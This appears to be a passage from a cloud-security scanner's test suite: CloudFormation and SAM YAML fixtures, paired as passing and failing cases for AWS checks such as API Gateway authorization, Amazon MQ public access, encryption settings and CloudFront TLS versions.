    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayAccessLogging/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n      AccessLogSetting:\n        DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group'\n\n  Default:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayAuthorization/APIGatewayAuthorization-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  MyMethod0:\n    Type: 'AWS::ApiGateway::Method'\n    Properties:\n      RestApiId: MyAPIID\n      ResourceId: MyResourceID \n      HttpMethod: GET\n      AuthorizationType: NONE\n  MyMethod1:\n    Type: 'AWS::ApiGateway::Method'\n    Properties:\n      RestApiId: MyAPIID\n      ResourceId: MyResourceID \n      HttpMethod: POST\n      AuthorizationType: NONE\n      ApiKeyRequired: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayAuthorization/APIGatewayAuthorization-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  MyMethod0:\n    Type: 'AWS::ApiGateway::Method'\n    Properties:\n      RestApiId: MyAPIID\n      ResourceId: MyResourceID \n      HttpMethod: OPTIONS\n      AuthorizationType: NONE\n  MyMethod1:\n    Type: 'AWS::ApiGateway::Method'\n    Properties:\n      RestApiId: MyAPIID\n      ResourceId: MyResourceID \n      HttpMethod: GET\n      AuthorizationType: AWS_IAM\n  MyMethod2:\n    Type: 'AWS::ApiGateway::Method'\n    Properties:\n      RestApiId: MyAPIID\n      ResourceId: MyResourceID \n      HttpMethod: GET\n      AuthorizationType: CUSTOM\n      AuthorizerId: MyAuthorizerID\n  MyMethod3:\n    Type: 'AWS::ApiGateway::Method'\n    Properties:\n      RestApiId: MyAPIID\n      ResourceId: MyResourceID \n      HttpMethod: GET\n      AuthorizationType: NONE\n      ApiKeyRequired: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayCacheEnable/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  CacheDefault:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: test\n      Description: test\n      RestApiId: test\n      DeploymentId: test\n  CacheFalse:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: test\n      Description: test\n      RestApiId: test\n      CacheClusterEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayCacheEnable/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  CacheTrue:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: test\n      Description: test\n      RestApiId: test\n      DeploymentId: test\n      CacheClusterEnabled: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayCacheEnable/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n      CacheClusterEnabled: true\n\n  Default:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n\n  Disabled:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n      CacheClusterEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayV2AccessLogging/APIGatewayV2AccessLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: AWS::ApiGatewayV2::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      DeploymentId: MyDeployment\n      ApiId: CFNWebSocket\n      DefaultRouteSettings:\n        DetailedMetricsEnabled: true\n        LoggingLevel: INFO\n        DataTraceEnabled: false\n        ThrottlingBurstLimit: 10\n        ThrottlingRateLimit: 10\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayV2AccessLogging/APIGatewayV2AccessLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: AWS::ApiGatewayV2::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      DeploymentId: MyDeployment\n      ApiId: CFNWebSocket\n      DefaultRouteSettings:\n        DetailedMetricsEnabled: true\n        LoggingLevel: INFO\n        DataTraceEnabled: false\n        ThrottlingBurstLimit: 10\n        ThrottlingRateLimit: 10\n      AccessLogSettings:\n        DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group'\n        Format: >-\n          {\"requestId\":\"$context.requestId\", \"ip\": \"$context.identity.sourceIp\",\n          \"caller\":\"$context.identity.caller\",\n          \"user\":\"$context.identity.user\",\"requestTime\":\"$context.requestTime\",\n          \"eventType\":\"$context.eventType\",\"routeKey\":\"$context.routeKey\",\n          \"status\":\"$context.status\",\"connectionId\":\"$context.connectionId\"}\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayV2AccessLogging/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::HttpApi\n    Properties:\n      StageName: prod\n      AccessLogSettings:\n        DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group'\n\n  Default:\n    Type: AWS::Serverless::HttpApi\n    Properties:\n      StageName: prod\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayXray/APIGatewayXray-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Disabled:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      RestApiId: MyRestApi\n      DeploymentId: TestDeployment\n      DocumentationVersion: MyDocumentationVersion\n      ClientCertificateId: ClientCertificate\n      TracingEnabled: false\n      Variables:\n        Stack: Prod\n      MethodSettings:\n        - ResourcePath: /\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n        - ResourcePath: /stack\n          HttpMethod: POST\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 999\n        - ResourcePath: /stack\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 555\n  Default:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      RestApiId: MyRestApi\n      DeploymentId: TestDeployment\n      DocumentationVersion: MyDocumentationVersion\n      ClientCertificateId: ClientCertificate\n      Variables:\n        Stack: Prod\n      MethodSettings:\n        - ResourcePath: /\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n        - ResourcePath: /stack\n          HttpMethod: POST\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 999\n        - ResourcePath: /stack\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 555\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayXray/APIGatewayXray-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      RestApiId: MyRestApi\n      DeploymentId: TestDeployment\n      DocumentationVersion: MyDocumentationVersion\n      ClientCertificateId: ClientCertificate\n      TracingEnabled: true\n      Variables:\n        Stack: Prod\n      MethodSettings:\n        - ResourcePath: /\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n        - ResourcePath: /stack\n          HttpMethod: POST\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 999\n        - ResourcePath: /stack\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 555"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayXray/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n      TracingEnabled: true\n\n  Default:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n\n  Disabled:\n    Type: AWS::Serverless::Api\n    Properties:\n      StageName: prod\n      TracingEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-FAILED-1.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility\n\nParameters:\n  AmazonMqPassword:\n    Type: String\n    NoEcho: true\n  AmazonMqUsername:\n    Type: String\n\nResources:\n  PublicBroker0:\n    Type: 'AWS::AmazonMQ::Broker'\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: MyComplexRabbitBroker-Yes\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: RABBITMQ\n      EngineVersion: 3.8.6\n      HostInstanceType: mq.t3.micro\n      Logs:\n        General: true\n      MaintenanceWindowStartTime:\n        DayOfWeek: Monday\n        TimeOfDay: '22:45'\n        TimeZone: America/Los_Angeles\n      PubliclyAccessible: Yes\n      SubnetIds:\n        - 'subnet-0a66efd758816811b'\n      Users:\n        - Password: !Ref AmazonMqPassword\n          Username: !Ref AmazonMqUsername\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility\n\nParameters:\n  AmazonMqPassword:\n    Type: String\n    NoEcho: true\n  AmazonMqUsername:\n    Type: String\n\nResources:\n  PublicBroker1:\n    Type: 'AWS::AmazonMQ::Broker'\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: MyComplexRabbitBroker-Yes\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: RABBITMQ\n      EngineVersion: 3.8.6\n      HostInstanceType: mq.t3.micro\n      Logs:\n        General: true\n      MaintenanceWindowStartTime:\n        DayOfWeek: Monday\n        TimeOfDay: '22:45'\n        TimeZone: America/Los_Angeles\n      PubliclyAccessible: true\n      SubnetIds:\n        - 'subnet-0a66efd758816811b'\n      Users:\n        - Password: !Ref AmazonMqPassword\n          Username: !Ref AmazonMqUsername\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-PASSED-1.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility\n\nParameters:\n  AmazonMqPassword:\n    Type: String\n    NoEcho: true\n  AmazonMqUsername:\n    Type: String\n\nResources:\n  PrivateBroker0:\n    Type: 'AWS::AmazonMQ::Broker'\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: MyComplexRabbitBroker-Yes\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: RABBITMQ\n      EngineVersion: 3.8.6\n      HostInstanceType: mq.t3.micro\n      Logs:\n        General: true\n      MaintenanceWindowStartTime:\n        DayOfWeek: Monday\n        TimeOfDay: '22:45'\n        TimeZone: America/Los_Angeles\n      PubliclyAccessible: No\n      SubnetIds:\n        - 'subnet-0a66efd758816811b'\n      Users:\n        - Password: !Ref AmazonMqPassword\n          Username: !Ref AmazonMqUsername\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-PASSED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility\n\nParameters:\n  AmazonMqPassword:\n    Type: String\n    NoEcho: true\n  AmazonMqUsername:\n    Type: String\n\nResources:\n  PrivateBroker1:\n    Type: 'AWS::AmazonMQ::Broker'\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: MyComplexRabbitBroker-Yes\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: RABBITMQ\n      EngineVersion: 3.8.6\n      HostInstanceType: mq.t3.micro\n      Logs:\n        General: true\n      MaintenanceWindowStartTime:\n        DayOfWeek: Monday\n        TimeOfDay: '22:45'\n        TimeZone: America/Los_Angeles\n      PubliclyAccessible: false\n      SubnetIds:\n        - 'subnet-0a66efd758816811b'\n      Users:\n        - Password: !Ref AmazonMqPassword\n          Username: !Ref AmazonMqUsername\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AppSyncFieldLevelLogs/template.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  # pass\n\n  All:\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"example\"\n      AuthenticationType: \"API_KEY\"\n      LogConfig:\n        CloudWatchLogsRoleArn: \"iam_role_arn\"\n        FieldLogLevel: \"ERROR\"\n  Error:\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"example\"\n      AuthenticationType: \"API_KEY\"\n      LogConfig:\n        CloudWatchLogsRoleArn: \"iam_role_arn\"\n        FieldLogLevel: \"ERROR\"\n\n  # fail\n\n  None:\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"example\"\n      AuthenticationType: \"API_KEY\"\n      LogConfig:\n        CloudWatchLogsRoleArn: \"iam_role_arn\"\n        FieldLogLevel: \"NONE\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AppSyncLogging/template.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  # pass\n\n  Enabled:\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"example\"\n      AuthenticationType: \"API_KEY\"\n      LogConfig:\n        CloudWatchLogsRoleArn: \"iam_role_arn\"\n        FieldLogLevel: \"ERROR\"\n\n  # fail\n\n  Default:\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"example\"\n      AuthenticationType: \"API_KEY\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AthenaWorkgroupConfiguration/AthenaWorkgroupConfiguration-FAIL.yaml",
    "content": "Resources:\n  MyAthenaWorkGroup0:\n    Type: AWS::Athena::WorkGroup\n    Properties:\n      Name: MyCustomWorkGroup\n      Description: My WorkGroup\n      State: ENABLED\n      Tags:\n        - Key: \"key1\"\n          Value: \"value1\"\n        - Key: \"key2\"\n          Value: \"value2\"\n      WorkGroupConfiguration:\n        BytesScannedCutoffPerQuery: 200000000\n        EnforceWorkGroupConfiguration: false\n        PublishCloudWatchMetricsEnabled: false\n        RequesterPaysEnabled: true\n        ResultConfiguration:\n          OutputLocation: s3://path/to/my/bucket/\n  MyAthenaWorkGroup1:\n    Type: AWS::Athena::WorkGroup\n    Properties:\n      Name: MyCustomWorkGroup\n      Description: My WorkGroup\n      State: ENABLED\n      Tags:\n        - Key: \"key1\"\n          Value: \"value1\"\n        - Key: \"key2\"\n          Value: \"value2\"\n      WorkGroupConfiguration:\n        BytesScannedCutoffPerQuery: 200000000\n        PublishCloudWatchMetricsEnabled: false\n        RequesterPaysEnabled: true\n        ResultConfiguration:\n          OutputLocation: s3://path/to/my/bucket/\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AthenaWorkgroupConfiguration/AthenaWorkgroupConfiguration-PASSED.yaml",
    "content": "Resources:\n  MyAthenaWorkGroup:\n    Type: AWS::Athena::WorkGroup\n    Properties:\n      Name: MyCustomWorkGroup\n      Description: My WorkGroup\n      State: ENABLED\n      Tags:\n        - Key: \"key1\"\n          Value: \"value1\"\n        - Key: \"key2\"\n          Value: \"value2\"\n      WorkGroupConfiguration:\n        BytesScannedCutoffPerQuery: 200000000\n        EnforceWorkGroupConfiguration: true\n        PublishCloudWatchMetricsEnabled: false\n        RequesterPaysEnabled: true\n        ResultConfiguration:\n          OutputLocation: s3://path/to/my/bucket/\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AuroraEncryption/AuroraEncryption-FAIL.yaml",
    "content": "Resources:\n  Aurora0:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      DatabaseName: 'mydb'\n      Engine: 'aurora'\n  Aurora1:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      DatabaseName: 'mydb'\n      Engine: 'aurora'\n      StorageEncrypted: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AuroraEncryption/AuroraEncryption-PASSED.yaml",
    "content": "Resources:\n  Aurora0:\n    Type: 'AWS::RDS::DBCluster'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3690\n    Properties:\n      DatabaseName: 'mydb2'\n      Engine: 'aurora'\n      StorageEncrypted: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_AuroraEncryption/AuroraEncryption-UNKNOWN.yaml",
    "content": "Resources:\n  Aurora0:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      DatabaseName: 'mydb'\n      Engine: 'aurora'\n      SnapshotIdentifier: 'SnapshotIdentifier'\n  Aurora1:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      DatabaseName: 'mydb'\n      Engine: 'aurora'\n      SourceDBClusterIdentifier: 'SourceDBClusterIdentifier'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_BackupVaultEncrypted/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Fail:\n    Type: AWS::Backup::BackupVault\n    Properties:\n      BackupVaultName: test\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_BackupVaultEncrypted/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Pass:\n    Type: AWS::Backup::BackupVault\n    Properties:\n      BackupVaultName: test\n      EncryptionKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_BedrockAgentEncrypted/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Fail:\n    Type: AWS::Bedrock::Agent\n    Properties:\n      AgentName: test\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_BedrockAgentEncrypted/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Pass:\n    Type: AWS::Bedrock::Agent\n    Properties:\n      AgentName: test\n      CustomerEncryptionKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudFrontTLS12/CloudFrontTLS12-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"This template deploys CloudFront Distribution\"\nResources:\n  cloudfrontdistributionFAILED1:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        CacheBehaviors:\n          - LambdaFunctionAssociations:\n              - EventType: origin-request\n                LambdaFunctionARN: string-value\n            PathPattern: \"*\"\n            TargetOriginId: \"id\"\n            ViewerProtocolPolicy: \"https-only\"\n        DefaultCacheBehavior:\n          LambdaFunctionAssociations:\n            - EventType: origin-request\n              LambdaFunctionARN: string-value\n          TargetOriginId: \"id\"\n          ViewerProtocolPolicy: \"https-only\"\n        IPV6Enabled: false\n        Origins:\n          - CustomOriginConfig:\n              OriginKeepaliveTimeout: 60\n              OriginReadTimeout: 60\n              OriginProtocolPolicy: \"https-only\"\n            DomainName: \"testing\"\n            Id: \"id\"\n        ViewerCertificate:\n          AcmCertificateArn: \"cert-test\"\n          MinimumProtocolVersion: SSLv3\n          SslSupportMethod: sni-only\n\n  cloudfrontdistributionFAILED2:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        DefaultCacheBehavior:\n          LambdaFunctionAssociations:\n            - EventType: origin-request\n              LambdaFunctionARN: string-value\n          TargetOriginId: \"id\"\n          ViewerProtocolPolicy: \"https-only\"\n        IPV6Enabled: false\n        Origins:\n          - CustomOriginConfig:\n              OriginKeepaliveTimeout: 60\n              OriginReadTimeout: 60\n              OriginProtocolPolicy: \"http-only\"\n            DomainName: \"testing\"\n            Id: \"id\"\n\n  cloudfrontdistributionFAILED3:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        CacheBehaviors:\n          - LambdaFunctionAssociations:\n              - EventType: origin-request\n                LambdaFunctionARN: string-value\n            PathPattern: \"*\"\n            TargetOriginId: \"id\"\n            ViewerProtocolPolicy: \"https-only\"\n        DefaultCacheBehavior:\n          LambdaFunctionAssociations:\n            - EventType: origin-request\n              LambdaFunctionARN: string-value\n          TargetOriginId: \"id\"\n          ViewerProtocolPolicy: \"https-only\"\n        IPV6Enabled: false\n        Origins:\n          - CustomOriginConfig:\n              OriginKeepaliveTimeout: 60\n              OriginReadTimeout: 60\n              OriginProtocolPolicy: \"https-only\"\n            DomainName: \"testing\"\n            Id: \"id\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate : true"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudFrontTLS12/CloudFrontTLS12-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"This template deploys CloudFront Distribution\"\nResources:\n  cloudfrontdistributionPASSED1:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        CacheBehaviors:\n          - LambdaFunctionAssociations:\n              - EventType: origin-request\n                LambdaFunctionARN: string-value\n            PathPattern: \"*\"\n            TargetOriginId: \"id\"\n            ViewerProtocolPolicy: \"https-only\"\n        DefaultCacheBehavior:\n          LambdaFunctionAssociations:\n            - EventType: origin-request\n              LambdaFunctionARN: string-value\n          TargetOriginId: \"id\"\n          ViewerProtocolPolicy: \"https-only\"\n        IPV6Enabled: false\n        Origins:\n          - CustomOriginConfig:\n              OriginKeepaliveTimeout: 60\n              OriginReadTimeout: 60\n              OriginProtocolPolicy: \"https-only\"\n            DomainName: \"testing\"\n            Id: \"id\"\n        ViewerCertificate:\n          AcmCertificateArn: \"cert-test\"\n          MinimumProtocolVersion: TLSv1.2_2018\n          SslSupportMethod: sni-only\n\n  cloudfrontdistributionPASSED2:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        CacheBehaviors:\n          - LambdaFunctionAssociations:\n              - EventType: origin-request\n                LambdaFunctionARN: string-value\n            PathPattern: \"*\"\n            TargetOriginId: \"id\"\n            ViewerProtocolPolicy: \"https-only\"\n        DefaultCacheBehavior:\n          LambdaFunctionAssociations:\n            - EventType: origin-request\n              LambdaFunctionARN: string-value\n          TargetOriginId: \"id\"\n          ViewerProtocolPolicy: \"https-only\"\n        IPV6Enabled: false\n        Origins:\n          - CustomOriginConfig:\n              OriginKeepaliveTimeout: 60\n              OriginReadTimeout: 60\n              OriginProtocolPolicy: \"https-only\"\n            DomainName: \"testing\"\n            Id: \"id\"\n        ViewerCertificate:\n          AcmCertificateArn: \"cert-test\"\n          MinimumProtocolVersion: TLSv1.2_2019\n          SslSupportMethod: sni-only\n\n  cloudfrontdistributionPASSED3:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        CacheBehaviors:\n          - LambdaFunctionAssociations:\n              - EventType: origin-request\n                LambdaFunctionARN: string-value\n            PathPattern: \"*\"\n            TargetOriginId: \"id\"\n            ViewerProtocolPolicy: \"https-only\"\n        DefaultCacheBehavior:\n          LambdaFunctionAssociations:\n            - EventType: origin-request\n              LambdaFunctionARN: string-value\n          TargetOriginId: \"id\"\n          ViewerProtocolPolicy: \"https-only\"\n        IPV6Enabled: false\n        Origins:\n          - CustomOriginConfig:\n              OriginKeepaliveTimeout: 60\n              OriginReadTimeout: 60\n              OriginProtocolPolicy: \"https-only\"\n            DomainName: \"testing\"\n            Id: \"id\"\n        ViewerCertificate:\n          AcmCertificateArn: \"cert-test\"\n          MinimumProtocolVersion: TLSv1.2_2021\n          SslSupportMethod: sni-only\n  cloudfrontdistributionPASSED4:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        Enabled: true\n        Origins:\n          - DomainName: example.com\n            Id: origin1\n        DefaultCacheBehavior:\n          TargetOriginId: origin1\n          ViewerProtocolPolicy: redirect-to-https\n        ViewerCertificate:\n          AcmCertificateArn: arn:aws:acm:us-east-1:123456789012:certificate/abc\n          SslSupportMethod: sni-only\n          MinimumProtocolVersion: TLSv1.3_2025"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupKMSKey/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Fail:\n    Type: AWS::Logs::LogGroup\n    Properties: \n      LogGroupName: test\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupKMSKey/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Pass:\n    Type: AWS::Logs::LogGroup\n    Properties: \n      LogGroupName: test\n      KmsKeyId: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupRetention/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Fail:\n    Type: AWS::Logs::LogGroup\n    Properties: \n      LogGroupName: test\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupRetention/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Pass:\n    Type: AWS::Logs::LogGroup\n    Properties: \n      LogGroupName: test\n      RetentionInDays: 3\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudfrontDistributionLogging/CloudfrontDistributionLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MyCloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        Enabled: True\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          ViewerProtocolPolicy: 'https-only'\n        Origins:\n          - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudfrontDistributionLogging/CloudfrontDistributionLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MyCloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        Enabled: True\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          ViewerProtocolPolicy: 'https-only'\n        Origins:\n          - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity'\n        Logging:\n          Bucket: myawslogbucket.s3.amazonaws.com\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailEncryption/CloudTrailEncryption-FAILED.yaml",
    "content": "  AWSTemplateFormatVersion: \"2010-09-09\"\n  Parameters: \n    OperatorEmail: \n      Description: \"Email address to notify when new logs are published.\"\n      Type: String\n  Resources: \n    S3Bucket: \n      DeletionPolicy: Retain\n      Type: AWS::S3::Bucket\n      Properties: {}\n    BucketPolicy: \n      Type: AWS::S3::BucketPolicy\n      Properties: \n        Bucket: \n          Ref: S3Bucket\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailAclCheck\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:GetBucketAcl\"\n              Resource: \n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}\n            - \n              Sid: \"AWSCloudTrailWrite\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:PutObject\"\n              Resource:\n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/*\n              Condition: \n                StringEquals:\n                  s3:x-amz-acl: \"bucket-owner-full-control\"\n    Topic: \n      Type: AWS::SNS::Topic\n      Properties: \n        Subscription: \n          - \n            Endpoint: \n              Ref: OperatorEmail\n            Protocol: email\n    